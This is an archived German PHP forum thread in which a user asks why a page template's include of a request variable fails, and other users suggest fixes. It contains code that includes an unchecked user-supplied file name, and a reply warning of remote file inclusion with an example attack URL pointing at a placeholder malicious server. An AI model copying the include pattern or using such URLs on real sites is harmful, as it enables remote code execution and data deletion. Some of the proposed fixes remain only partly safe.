PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Problem mit PHP?



Tommy_20
09-12-2002, 06:42
Woran kann folgender Fehler liegen?



Warning: Failed opening 'index9.php' for inclusion (include_path='.:/usr/share/php') in /home/sgt8485/public_html/htdocs/design/3.php on line 151


Könnten irgendwelche php-einstellungen am server nicht stimmen oder irgendwo ein programmierfehler?

Hier der inhalt der 3.php:



<html dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="Content-Style-Type" content="text/css">
<title>SGT Kollegstufe 2002/2004</title>
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#3333CC" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<table width="7" border="0" cellpadding="0" cellspacing="0" bgcolor="#DEE3E7">
<tr>
<td bgcolor="#8E984B">
<div align="center"><img src="logo_<?php
if($seite == "")
{
echo blau;
}
else
{
echo $farbe;
}
?>.jpg" width="701" height="56"></div></td>
</tr>
<tr>
<td height="3" bgcolor="#454545"></td>
</tr>
<tr>
<td width="3" nowrap bgcolor="454545">
<table width="95%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="710"><table width="700" height="100" border="0" cellpadding="0" cellspacing="0">
<tr>
<th width="160" align="left" valign="top" bordercolor="#FFFFFF" class="th-menue">
<table width="160" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="160" nowrap background="file:///d|/Dateien/Webdesign/K12/design/menu_blau4.gif" bgcolor="#3F517D" class="tdmenueblau
<div id="mouseover2">
<table width="159" border="0" cellspacing="0" cellpadding="0">
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;Startseite</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Aktuelles</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Kollegiaten</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Termine</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Leistungskurse</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Fotos</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Forum</a> </td>
</tr>
<tr>
<td height="4" nowrap></td>
</tr>
</table>
</div>
</td>
</tr>
<tr>
<td nowrap background="file:///d|/Dateien/Webdesign/K12/design/menu_rot4.gif" bgcolor="#001B53" class="tdmenuerot">
<div id="mouseover3">
<table width="160" border="0" cellpadding="0" cellspacing="0">
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Login</a></td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Interne News</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Internes Forum</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Registrieren</a> </td>
</tr>
<tr>
<td height="4" nowrap></td>
</tr>
</table>
</div></td>
</tr>
<tr>
<td nowrap bgcolor="#5A7131" class="tdmenuegruen">
<div id="mouseover4">
<table width="160" border="0" cellpadding="0" cellspacing="0">
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;G&auml;stebuch</a></td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Umfragen</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Newsletter</a></td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Sonstiges</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Links</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Sitemap</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Dislaimer</a> </td>
</tr>
<tr>
<td> <a href="http://home.t-online.de/home/dj5nu/fanhost/css-mouseover-effekte-menue.html?a">&nbsp;&nbsp;<span>&raquo;</
&nbsp;&nbsp;Impressum</a> </td>
</tr>

</table>
</div></td>

</table>

</th>
<td width="3" nowrap bgcolor="#454545"></td>
<td bordercolor="#FFFFFF" bgcolor="9C9A9C" class="tdmain">
<?php
if($seite == "")
{
include("index.php");
}
else
{
include("$seite.php");
}
?>
</td>
</tr>
</table></td>
</tr>
</table>
</td>
</tr>
<tr>
<td height="3" nowrap bgcolor="#454545"></td>
</tr>
<tr>
<td bgcolor="#E1B36C"><div align="right"><font size="1" face="Geneva, Arial, Helvetica, sans-serif">&copy;Stefan
J&auml;ger &gt;&gt; optimized for 800x600 Pixel &gt;&gt; Disclaimer</font></div></td>
</tr>
</table>
</body>
</html>


PS: Zeile 151 ist das mit dem "include("$seite.php");"

mehlvogel
09-12-2002, 16:07
Was steht in der Variable $seite?

Gaert
09-12-2002, 16:47
Denke nicht, daß es ein Server Problem ist...

Wo befindet sich denn die Datei index9.php?

Alex_K
09-12-2002, 17:22
also wenn ich das system richtig verstanden habe, willst du wenn man
index9.php?seite=blah.php
aufruft, dass die seite blah.php includiert wird, andernfalls index.php ...

du willst aber die variable $seite.php includieren, die es aber nicht gibt (wenn es so funktioniert wie ich denke).

mit
include("$seite");
sollte es funktionieren ...

mehlvogel
09-12-2002, 18:36
wenn nur der Dateiname übergeben werdens oll (ohne die Endung) reicht es das ganze ein wenig zu verändern:



include($seite.".php");


Um einen bestimmten Pfad davor zu setzen



include("/pfad/zu/".$seite.".php");


Oder wenn der Pfad in einer Variable steht:



include($pfad.$seite.".php");

Xerxes
09-12-2002, 21:54
und wenn in einem string keine variablen oder escape-sequenzen geparst werden müssen, reichen einfach anführungszeichen ( ' ) aus, dann wird der string nämlich nicht erst danach durchsucht, was mehr speed bringt ;-)
also:
include( $seite . '.php' ); // :)

Gaert
09-12-2002, 23:09
Ich muss dir Recht geben Xerxes... allerdings ist der Geschwindigkeitszuwachs so minimal, daß er bei einem "normalen" PHP Skript nicht messbar ist!

@Tommy: Nachdem ich mir die Posts nochmal durchgesehen habe und mir dein Skript nochmal genau angesehen habe, muß ich dir DRINGEND empfehlen den Rat von Mehlvogel zu beachten und eine Pfadangabe vor die Variable zu setzen.
Andernfalls könnte ein böser mensch (davon gibts viele) sowas in der Richtung in dir URL schreiben:

3.php?seite=http://www.boeserserver.com/boesephpdatei

Wenn auf dem "Bösenserver" nämlich .php nicht interpretiert wird und ein Bösermensch in die "boesephpdatei.php" ein paar unlink befehle reinschreibt, dann räumt dir das Skript deinen Webspace auf!